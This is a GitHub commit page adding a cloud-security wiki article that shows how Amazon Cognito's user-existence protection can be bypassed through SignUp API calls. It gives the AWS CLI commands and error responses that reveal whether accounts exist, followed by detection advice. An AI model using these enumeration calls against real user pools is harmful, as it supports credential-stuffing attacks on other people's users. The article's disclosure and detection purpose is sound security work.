Skip to content

Commit bfff01c

Browse files
authored
Merge pull request #341 from Hacking-the-Cloud/add/bypass_cognito_user_enumeration_controls_article
Added the Bypass Cognito Account Enumeration Controls article
2 parents 6e46b4c + cfb7caa commit bfff01c

File tree

2 files changed

+141
-0
lines changed

2 files changed

+141
-0
lines changed
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
---
2+
author_name: Nick Frichette
3+
title: Bypass Cognito Account Enumeration Controls
4+
description: Leverage a flaw in Cognito's API to enumerate accounts in User Pools.
5+
---
6+
7+
<div class="grid cards" markdown>
8+
- :material-book:{ .lg .middle } __Additional Resources__
9+
10+
---
11+
12+
AWS Docs: [Managing user existence error responses](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-managing-errors.html)
13+
</div>
14+
15+
Amazon [Cognito](https://aws.amazon.com/cognito/) is a popular “sign-in as a service” offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.
16+
17+
By default, Cognito will set a configuration called `Prevent user existence errors`. This is designed to prevent adversaries from [enumerating accounts](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account) and using that information for further attacks, such as [credential stuffing](https://owasp.org/www-community/attacks/Credential_stuffing).
18+
19+
While this is useful in theory, and a good default to have, it can be bypassed via [cognito-idp:SignUp](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cognito-idp/sign-up.html) calls. This bypass was originally reported via a GitHub [issue](https://github.com/aws-amplify/amplify-js/issues/6238) in July 2020 and Cognito is still vulnerable as of early 2024.
20+
21+
## Example Responses
22+
23+
To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The `admin` user exists in the user pool and is the account we will be trying to enumerate.
24+
25+
!!! Note
26+
The `client-id` value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.
27+
28+
### Prevent user existence errors on and user exists
29+
30+
```shell
31+
$ aws cognito-idp initiate-auth \
32+
--auth-flow USER_PASSWORD_AUTH \
33+
--client-id 719… \
34+
--auth-parameters USERNAME=admin,PASSWORD=blah
35+
36+
An error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.
37+
```
38+
39+
### Prevent user existence errors on and user does not exist
40+
41+
```shell
42+
$ aws cognito-idp initiate-auth \
43+
--auth-flow USER_PASSWORD_AUTH \
44+
--client-id 719… \
45+
--auth-parameters USERNAME=notreal,PASSWORD=blah
46+
47+
An error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.
48+
```
49+
50+
### Prevent user existence errors off and user exists
51+
52+
```shell
53+
$ aws cognito-idp initiate-auth \
54+
--auth-flow USER_PASSWORD_AUTH \
55+
--client-id 719… \
56+
--auth-parameters USERNAME=admin,PASSWORD=blah
57+
58+
An error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.
59+
```
60+
61+
### Prevent user existence errors off and user does not exist
62+
63+
```shell
64+
$ aws cognito-idp initiate-auth \
65+
--auth-flow USER_PASSWORD_AUTH \
66+
--client-id 719… \
67+
--auth-parameters USERNAME=notreal,PASSWORD=blah
68+
69+
An error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist.
70+
```
71+
72+
As you can see, an adversary can use the `UserNotFoundException` and `NotAuthorizedException` to enumerate whether an account does or does not exist. By enabling the `Prevent user existence errors` configuration, defenders can successfully mitigate these types of attacks. However we will show how it can be bypassed.
73+
74+
## cognito-idp:SignUp
75+
76+
The `Prevent user existence errors` configuration appears to only impact the `initiate-auth` flow. It does not impact [cognito-idp:SignUp](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cognito-idp/sign-up.html). Because of this we can use this API call to enumerate if a user does or does not exist. Please see the following examples:
77+
78+
### Prevent user existence errors on and user exists
79+
80+
```shell
81+
$ aws cognito-idp sign-up \
82+
--client-id 719... \
83+
--username admin \
84+
--password "BlahBlah123!" \
85+
--user-attributes Name=email,Value="blah@blah.net"
86+
87+
An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
88+
```
89+
90+
### Prevent user existence errors on and user does not exist
91+
92+
```shell
93+
$ aws cognito-idp sign-up \
94+
--client-id 719... \
95+
--username notreal \
96+
--password "BlahBlah123!" \
97+
--user-attributes Name=email,Value="blah@blah.net"
98+
{
99+
"UserConfirmed": false,
100+
"CodeDeliveryDetails": {
101+
"Destination": "b***@b***",
102+
"DeliveryMedium": "EMAIL",
103+
"AttributeName": "email"
104+
},
105+
"UserSub": "a20…"
106+
}
107+
```
108+
109+
## Detection Opportunities
110+
111+
If an adversary is using this technique at scale to identify what accounts exist in your user pool, you can attempt to detect this behavior by alerting on a sudden increase in `Unconfirmed` user accounts.
112+
113+
![User Pool Identities](../../images/aws/enumeration/bypass_cognito_user_enumeration_controls/user_pool_identities.png)
114+
115+
Depending on the configuration of your user pool, an adversary could attempt to get around this by using a real email address to confirm the user name.
116+
117+
### CloudTrail and CloudWatch Limitations
118+
119+
If you attempt to build detections around this using CloudTrail or CloudWatch, you will run into challenges. This is because a significant portion of useful telemetry (basically all of it) is omitted in these logs. For example, the `userIdentity` who made the API call is `Anonymous`
120+
121+
```json
122+
{
123+
"eventVersion": "1.08",
124+
"userIdentity": {
125+
"type": "Unknown",
126+
"principalId": "Anonymous"
127+
}
128+
```
129+
130+
And the `username` and `userAttributes` are hidden:
131+
132+
```json
133+
"requestParameters": {
134+
"clientId": "719...",
135+
"username": "HIDDEN_DUE_TO_SECURITY_REASONS",
136+
"password": "HIDDEN_DUE_TO_SECURITY_REASONS",
137+
"userAttributes": "HIDDEN_DUE_TO_SECURITY_REASONS"
138+
}
139+
```
140+
141+
For this reason, you can use CloudTrail or CloudWatch to track the number of [cognito-idp:SignUp](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cognito-idp/sign-up.html) calls, and their associated `sourceIPAddress`, but not access their details.

0 commit comments

Comments
 (0)